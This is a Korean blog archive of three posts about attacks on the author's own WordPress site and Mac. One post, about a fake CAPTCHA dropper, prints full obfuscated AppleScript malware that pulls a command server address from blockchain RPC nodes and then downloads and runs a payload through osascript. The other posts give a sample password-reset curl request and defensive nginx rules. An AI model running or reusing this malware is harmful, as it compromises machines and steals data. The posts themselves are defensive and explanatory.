태그 보관물: hacking

무작위적인 WordPress 비밀번호 초기화 요청 막기

최근들어 며칠간 하루에 꼭 세번씩 비밀번호 초기화 요청이 날아들고 있다. 이후에 다른 동작이 없으니 그냥 두어도 괜찮겠지만 아무래도 bot으로 WordPress의 wp-login.php에 계속 자동요청을 해대는게 영 찜찜하다. 아마도 다음과 비슷한 명령어를 스크립팅하는 모양이다.

curl -X POST "https://litcoder.com/wp-login.php?action=lostpassword" \
     -d "user_login=litcoder" \
     -d "wp-submit=New Password"

막는 방법이 없을까 해서 찾아보니 reCAPCHA나 CloudFlare의 Turnstile같은 서비스를 무료로 설정하는 방법들이 있었지만 회원가입이나 사이트를 연결하는 설정을 해야 하는게 부담됐다. 그래서 마땅한 플러그인이 없는지 뒤져 봤더니 이런 종류의 공격을 막는 플러그인들이 몇몇 있었다. 그 중에서도 로그인을 페이지를 다른 URL로 변경하고 비정상적인 admin 요청을 모두 home page로 돌려보내는 참신해보이는 플러그인이 하나 있어서 설정해 주었다. 만약 새로 변경하는 URL이 노출된다고 해도 바꿔버리는 것으로 쉽게 다시 무력화 시킬 수 있을테니까 말이다.

로그인 용으로 사용할 URL을 정의해 주면 해당 URL로 연결할 때만 로그인 페이지가 열리고 나머지 경우에는 다른페이지로 리다이렉트된다. URL 자체 뿐만 아니라 사이트의 로그인 기능에 대한 URL도 함께 변경되어 쉽게 사용할 수 있었다.

결론

설정 이후 며칠간 지켜봤는데 악의적인 비밀번호 초기화 요청들은 더 이상 들어오고 있지는 않다. 그런데 최근에는 또 다른 종류의 SQL injection을 시도하는 댓글들이 스팸함에 들어오기 시작했다. 플러그인 설치한 시점과 미묘하게 겹치는게 좀 이상하다는 지나친(!) 생각이 잠깐 스치기는 했지만, 좀 과한것 같긴하다. 여튼 이것들은 일단 스팸으로 걸러지고 있으니 좀 더 두고 보자.

I’m not a robot으로 위장한 Dropper 공격

어떤 일로 https://wheelofnames.com 웹사이트를 들어가려는 중에 오타가 있었는지 “I’m not a robot” 을 확인하는 창이 떴다. 그런데 이 녀석은 간단하게 클릭만 하고 끝나는 reCAPTCHA와는 좀 달랐다. 클릭을 하고 나니 4단계를 더 수행하라는 내용이 나왔다. 터미널을 열어서 붙여넣기를 하고 엔터를 치라는 것이다.

터미널에 붙여넣기를 했더니 어떤 명령어가 붙여넣기 되었다. 아마도 I’m not a robot 버튼을 클릭 할 때 복사가 된 모양이다.

여기에서 멈췄어야 했는데… 나는 그만 아무 생각 없이 엔터키를 눌렀고, 비밀번호를 요구하는 이런 창이 뜬 다음에야 나는 이 사태를 눈치 챘다.

하지만 상황은 너무 늦었다. 저 프로세스를 찾아서 죽어도 다시 뜨고, 재부팅해도 다시 뜨면서 줄기차게 비밀번호를 알려 달라고 요구했다.

프로세스가 계속 살아나는 것을 보면 cron 혹은 plist 항목일텐데, cron 항목에는 뜨는 것이 없었다. 그래서 ~/Library/LaunchAgents를 찾아 봤더니 오늘 날짜로 새로 등록된 plist가 하나 눈에 띈다. com.fahwnjlgzrztogre.plist라는 이상한 이름의 녀석을 rm -rf 명령으로 지워 주었더니 프로세스도 사라지고 부팅 후에 다시 뜨는 문제도 해결되었다. 그나마 sudo 권한을 주지 않아서 인지 /Library/LaunchAgents/와 /Library/LaunchDaemons/에는 별다른 내용이 없었다.

대체 뭐였을까?

붙여넣어진 명령어에서 bash 부분을 빼고 base64 decoding을 해보면 이렇게 나온다.

뭔가 다운로드 받아서 실행시키고 싶었나 본데… 몇겹의 base64 encoding으로 되어 있는 것을 쫓아가서 풀어봤더니 AppleScript로 되어 있는 다음과 같은 코드가 나왔다. 코드가 난독화 되어 있어서 Gemini한테 역난독화하고 주석을 붙여달라고 했더니 아래와 같이 나왔는데 여전히 난독화가 풀린 것 같진 않다.

-- Define a set of random/decoy variables used as noise
set _ObG8a1ZM9 to "A3EGC4AfU9"
set _DETmKJA to "52Fqm34r"
set __WJxWjLO0VhV to "tAj2qTdBPkYK"
set _gkMBfZej2B to 5210.8957
property _bDLFxkxH : "wKOmhIcC15D12r"
set _nlomypYcp to (533 + 806) * 1
set __dJCRGX0 to 32839
set __apHjXsfpOEL to 5922.862
set __TVouowv to 2908.7709

# Obfuscated list of Web3/Polygon blockchain RPC gateway URLs used as a decentralized C2 (Command & Control) channel
set __wtwLw01 to {((ASCII character 112) & (character id 111) & (character id 108) & (ASCII character 121) & (character id 103) & (character id 111) & (ASCII character 110) & (ASCII character 46) & (ASCII character 100) & (ASCII character 114) & (character id 112) & (character id 99) & ".or" & "g"), ("pol" & (character id 121) & (ASCII character 103) & (character id 111) & "n" & (ASCII character 46) & (ASCII character 112) & "u" & "b" & (ASCII character 108) & (character id 105) & "cno" & "de" & (ASCII character 46) & (character id 99) & (ASCII character 111) & (ASCII character 109)), ((ASCII character 112) & (character id 111) & "lyg" & (ASCII character 111) & (character id 110) & (ASCII character 45) & (ASCII character 109) & "a" & (ASCII character 105) & (character id 110) & (ASCII character 110) & (ASCII character 101) & (ASCII character 116) & (ASCII character 46) & (ASCII character 103) & (character id 97) & "t" & (ASCII character 101) & (ASCII character 119) & (ASCII character 97) & (character id 121) & "." & (character id 116) & (ASCII character 97) & (ASCII character 116) & (character id 117) & "m" & "." & (character id 105) & (character id 111)), ((character id 116) & (character id 101) & (character id 110) & "d" & "e" & (character id 114) & "l" & "y" & (character id 46) & "rp" & "c.p" & "o" & (character id 108) & (ASCII character 121) & "g" & (ASCII character 111) & (character id 110) & "." & (character id 99) & (character id 111) & (character id 109) & (character id 109) & (character id 117) & (character id 110) & (character id 105) & "ty")}

# Constructs the JSON-RPC query block targeting a smart contract address to fetch hidden payload data from the blockchain
set __kTv71oq1Uv to ("{" & (character id 34) & (character id 106) & "s" & (character id 111) & "n" & (ASCII character 114) & (character id 112) & (character id 99) & (ASCII character 34) & (ASCII character 58) & (character id 34) & (ASCII character 50) & (character id 46) & (character id 48) & (character id 34) & (character id 44) & (character id 34) & (ASCII character 109) & "e" & (ASCII character 116) & (ASCII character 104) & "o" & (character id 100) & (character id 34) & ":" & (character id 34) & "eth" & "_ca" & (ASCII character 108) & (character id 108) & (character id 34) & (ASCII character 44) & (ASCII character 34) & "p" & (character id 97) & (character id 114) & (character id 97) & "m" & (character id 115) & (ASCII character 34) & (character id 58) & (ASCII character 91) & (character id 123) & (ASCII character 34) & (ASCII character 116) & (ASCII character 111) & (ASCII character 34) & ":" & (character id 34) & "0" & (character id 120) & (ASCII character 65) & (character id 51) & (ASCII character 97) & "60" & (ASCII character 51) & (character id 70) & "8" & (character id 97) & (character id 52) & (ASCII character 53) & (ASCII character 52) & (ASCII character 97) & (ASCII character 57) & (character id 99) & (ASCII character 57) & (ASCII character 48) & (character id 53) & "b4c" & (ASCII character 53) & "79" & (character id 66) & (ASCII character 9b) & (ASCII character 55) & "26" & "2" & (character id 56) & (character id 70) & "7C" & (ASCII character 49) & (character id 53) & (character id 67) & (character id 50) & (character id 65) & "0" & (character id 34) & (character id 44) & (character id 34) & "dat" & (character id 97) & (ASCII character 34) & ":" & (ASCII character 34) & "0" & "x" & "2" & (character id 54) & (character id 56) & "6" & (character id 101) & (ASCII character 99) & "e" & "a" & (character id 34) & "}" & "," & (ASCII character 34) & "la" & "te" & (ASCII character 115) & "t" & (character id 34) & (ASCII character 93) & "," & (ASCII character 34) & (character id 105) & (character id 100) & (character id 34) & (character id 58) & (character id 49) & (character id 125))

# Obfuscated tracking identifier string sent back to the attacker's server during execution
set __nTqR2MxeI to ("ee" & (ASCII character 97) & (character id 49) & (character id 53) & (ASCII character 58) & (ASCII character 98) & (character id 48) & (character id 52) & "58" & (ASCII character 56) & (ASCII character 55) & "0" & (ASCII character 55) & (character id 51) & (character id 53) & (character id 100) & (ASCII character 97) & (character id 98) & "013" & "237" & (character id 102) & (character id 56) & (ASCII character 49) & (character id 53) & (character id 102) & (character id 100))

# Loop through each RPC node option to query the smart contract data
repeat with __pzNTyUY8S in __wtwLw01
	try
		# Executes a curl POST request to query the blockchain node and parses out the hex response using sed and xxd
		set __EiaNCoJG7 to do shell script ("r" & (ASCII character 61) & "$" & (ASCII character 40) & (ASCII character 99) & (character id 117) & "r" & (character id 108) & (ASCII character 32) & (ASCII character 45) & (character id 115) & (character id 32) & (character id 45) & "-" & (character id 109) & (character id 97) & "x-t" & (character id 105) & "me " & (ASCII character 49) & (character id 53) & (ASCII character 32) & "h" & (ASCII character 116) & (ASCII character 116) & "ps:" & (character id 47) & (character id 47)) & __pzNTyUY8S & (" -X" & (character id 32) & (character id 80) & "OS" & "T -" & (character id 72) & (ASCII character 32) & (ASCII character 39) & "Con" & (ASCII character 116) & (character id 101) & (character id 110) & (character id 116) & (character id 45) & (character id 84) & (ASCII character 121) & (ASCII character 112) & (ASCII character 101) & (ASCII character 58) & (character id 32) & (character id 97) & (ASCII character 112) & (ASCII character 112) & "l" & (character id 105) & (character id 99) & "a" & (ASCII character 116) & (character id 105) & "o" & (character id 110) & "/j" & (character id 115) & (character id 111) & (ASCII character 110) & "' -" & "-" & (ASCII character 100) & (character id 97) & (ASCII character 116) & (character id 97) & (ASCII character 32) & (ASCII character 39)) & __kTv71oq1Uv & ("'" & (character id 41) & (ASCII character 59) & " " & (character id 104) & (ASCII character 61) & (character id 36) & (character id 40) & (character id 101) & (character id 99) & (character id 104) & (character id 110) & (character id 32) & (character id 34) & "$" & (ASCII character 114) & (character id 34) & " | " & (character id 115) & (ASCII character 101) & (character id 100) & " -n" & (character id 32) & (ASCII character 39) & (ASCII character 115) & "/.*" & (character id 34) & (character id 114) & (character id 101) & (character id 115) & (character id 117) & "l" & "t" & (ASCII character 34) & (ASCII character 58) & (character id 34) & (ASCII character 48) & (character id 120) & (ASCII character 92) & "(" & "[" & (ASCII character 94) & (ASCII character 34) & (ASCII character 93) & "*" & (ASCII character 92) & (ASCII character 41) & (character id 34) & ".*/" & (ASCII character 92) & (character id 49) & (character id 47) & "p" & (character id 39) & (character id 41) & (ASCII character 59) & (ASCII character 32) & (ASCII character 91) & (character id 32) & (ASCII character 45) & "z" & " " & (character id 34) & (ASCII character 36) & (character id 104) & (character id 34) & (ASCII character 32) & (character id 93) & (ASCII character 38) & (ASCII character 38) & "e" & (character id 120) & (character id 105) & (character id 116) & " 1;" & " l" & (character id 61) & "$" & (ASCII character 40) & "p" & (character id 114) & (character id 105) & (ASCII character 110) & (ASCII character 116) & (character id 102) & (character id 32) & (character id 34) & "%d" & (ASCII character 34) & (character id 32) & (character id 34) & "0x$" & (character id 123) & "h:6" & "4:6" & "4}" & (character id 34) & (ASCII character 41) & (ASCII character 59) & " " & "e" & (character id 99) & "h" & "o" & (character id 34) & "${h" & (character id 58) & "128" & (character id 58) & (character id 36) & (character id 40) & (character id 40) & (character id 108) & (character id 42) & (ASCII character 50) & (character id 41) & (character id 41) & "}" & (character id 34) & (character id 124) & (ASCII character 120) & "x" & (ASCII character 100) & " -r" & " " & "-" & (character id 112))
		
		# Exit loop early if valid payload content is successfully returned
		if __EiaNCoJG7 is not equal "" then exit repeat
	end try
end repeat

# If the payload retrieval succeeded, construct the final execution command
if __EiaNCoJG7 is not equal "" then
	set __ibSSmET to ((character id 99) & (character id 117) & "rl" & (character id 32) & (ASCII character 45) & (ASCII character 45) & (ASCII character 99) & (character id 111) & "nn" & (character id 101) & (character id 99) & (character id 116) & (ASCII character 45) & "t" & (character id 105) & (character id 109) & (character id 101) & (character id 111) & "u" & (character id 116) & (character id 32) & "5" & " " & (ASCII character 45) & (ASCII character 45) & "m" & "a" & (character id 120) & "-" & "ti" & "m" & (character id 101) & (character id 32) & "2" & (ASCII character 48) & (character id 32) & (ASCII character 45) & (ASCII character 45) & (ASCII character 114) & (character id 101) & "tr" & "y" & (ASCII character 32) & (ASCII character 51) & (ASCII character 32) & (ASCII character 45) & (ASCII character 45) & (character id 114) & "e" & (character id 116) & (character id 114) & (character id 121) & "-" & (ASCII character 101) & (character id 101) & (character id 108) & (ASCII character 97) & (character id 121) & (character id 32) & (character id 53) & (ASCII character 32)) & ((character id 45) & "X" & " " & (ASCII character 80) & (character id 79) & "ST" & " h" & (character id 116) & (character id 116) & (character id 112) & (character id 115) & (ASCII character 58) & (character id 47) & (character id 47)) & quoted form of __EiaNCoJG7 & (character id 32) & ((character id 45) & (character id 100) & (ASCII character 32)) & quoted form of (("txi" & (character id 100) & "=") & __nTqR2MxeI & (string id {38, 98, 109, 111, 100, 117, 108, 101})) & (string id {32, 124, 32, 111, 115, 97, 115, 99, 114, 105, 112, 116})
	
	# Pipe the downloaded secondary payload into osascript for silent background execution
	do shell script __ibSSmET
end if

ApplieScript 까막눈이어서 이게 뭐하는 것인지 알려달라고 했더니, Blockchain network으로 부터 일감(workload)를 받아서 수행할 준비를 해주는 malware이고 주로 다음과 같은 일은 하는데 쓰일 수 있다고 한다.

  • 정보 탈취기 및 자격 증명 수집기: 브라우저에 저장된 비밀번호, 암호화폐 지갑 키, 세션 쿠키, SSH 키, 시스템 설정 파일을 찾아 공격자에게 유출하는 스크립트
  • 암호화폐 채굴 악성코드: Mac의 CPU 및 GPU 연산 능력을 몰래 사용하여 모네로(Monero) 등의 암호화폐를 채굴하는 백그라운드 리소스 탈취기
  • 대화형 백도어 / RAT (원격 접근 트로이 목마): 명령 및 제어(C2) 서버로 리버스 쉘이나 암호화된 터널을 구축하여 공격자가 수동으로 로그인하고, 파일을 검사하며, 터미널 명령을 실행하거나 추가 루트킷을 설치할 수 있도록 하는 페이로드
  • 애드웨어 및 트래픽 리디렉션 도구: 웹 트래픽을 가로채고, 악성 광고를 주입하거나, 검색창을 수익화 또는 피싱 페이지로 리디렉션하는 브라우저 확장 프로그램 주입기나 프록시 유틸리티

Lightsail 서버가 자꾸 죽어요

Jetpack이 요즘처럼 많이 말을 건 적이 있었던가?

최근에 Bitnami에서 Amazon Linux 2023으로 이사하면서 Lightsail instance를 한 단계 비싼 것으로 올리고 나서부터 웹사이트가 다운되었다는 Jetpack의 노티가 계속 뜬다.

더 비싸면 더 잘돌아야 되는 것 아닌가?

이런 노티를 받고나서 확인해 보면 블로그가 접속되지 않을 뿐만 아니라 SSH 조차도 뜨지 않는 상태가 되어 있어서 서버를 강제 재시작 하는 방법 밖에 없다. Lightsail의 Metrics 메뉴에서 확인해 보면 이때마다 CPU 사용률이 치솟고 있는 것도 보인다.

적습! – XML RPC

따로 cron task를 걸어 놓은 것도 없는데 이렇게 많은 CPU 자원이 소모되는 이유는 뭘까?

Nginx의 access log를 들여다 봤더니 짧은시간 동안에 한 IP에서 아주 많은 xmlrpc.php에 대한 접속시도가 있었다. XML RPC는 REST API로 대체되어 요즘에는 실제로 사용되는 경우가 거의 없는데, 공격자들은 system.multicall 기능을 활용해 다수의 비밀번호 무차별 대입 공격을 수행하는데 자주 쓴다고 한다.

xmlrpc를 막는 여러가지 방법이 있으나, WordPress에서 막지 않고 아예 Nginx에서 xmlrpc접속을 막아버리도록 다음과 같이 설정해 주었다.

# xmlrpc.php 차단
location = /xmlrpc.php {
    deny all;          # xmlrpc.php 접속을 차단
    access_log off;    # 접속 로그를 남기지 않아서 IO 자원을 아낌
    log_not_found off; # Not found(404) 로그도 남기지 않는다
    return 444;        # Nginx 비표준, 404 응답을 보내지 않고 연결을 끊어버림
}

두번째 적습! – Search Flood

이렇게 막고 나서 하루 정도는 잠잠했었는데, 바로 다음날 저녁에 다시 서버에 접속할 수 없다는 Jetpack의 알람이 왔다.

이번에도 CPU 사용량이 치솟으며 SSH접속도 안될 정도로 무언가를 엄청나게 하고 있었다. 분명히 xmlrpc는 막아 두었는데 이번엔 또 뭘까?

로그를 보니 이번에도 하나의 IP에서 짧은 시간동안에 태그, 검색어, 저자, 문서번호 등으로 엄청난 조회(GET) 요청을 받고 있었다. 이번 것은 XML RPC 공격때와 같이 로그인 비밀번호를 알아 내기 위한 것 보다는 서버에 많은 부하를 주어서 서비스를 방해하려는 목적인 것 같다.

외부에서 들어오는 조회가 진짜인지 가짜인지 확인하는 뾰족한 방법은 없고, 다만 너무 잦은 것이 문제가 되는 상황이니 Rate limiting을 걸어서 이런 경우를 걸러내기로 했다.

Nginx 설정파일을 변경해서 먼저 http 영역에서 비정상적인 검색을 시도하는 IP들을 추적하도록 설정한다.

http {
    ...

    # 검색을 요청하는 경우 IP를 저장해 둔다.
    map $arg_s $search_traffic {
        default "";              # 일반적인 접속, track안함.
        ~.+ $binary_remote_addr; # 검색요청하는 IP는 track.
    }

    # 분당 10회 이상의 검색 시도가 있으면 $search_traffic zone에 추가.
    limit_req_zone $search_traffic zone=search_block:10m rate=10r/m;
    ...
}

그리고 나서 server 영역에는 이러한 시도가 5번을 넘기면 차단하도록 다음과 같이 설정한다. 해당 IP는 Service Unavailable(503) 응답을 받게 될 것이다.

server {
    ...
    location / {
        # 5번까지의 burst시도까지는 허가.
        limit_req zone=search_block burst=5 nodelay;
    
        try_files $uri $uri/ /index.php$is_args$args;
    }
    ...
}

Swap 설정 추가

그리고 조금 놀라웠던 사실인데 AL2023 instance에는 기본적으로 swap 영역이 설정되어 있지 않았다. 서비스가 조금 느려지더라도 응답 못하는 일은 없도록 swap영역을 설정해 주었다. swap 설정하는 방법은 인터넷에 많으니 패스.

결론

Bitnami에서 설정해 준 것으로 안락하게 지내다가, 직접 서버를 설정하겠다고 나선지 며칠만에 무작위 공격들로 가득찬 인터넷을 겪고 보니 새삼 살벌한 세상이 실감된다.

하지만 그 덕에 다양한 공격 방법들과 설정 방법들에 대해 더 알게되니 재미있기도 하다. 상용서비스가 아니라서 문제가 생기면 재부팅이라도 할 수 있으니 그나마 다행이랄까.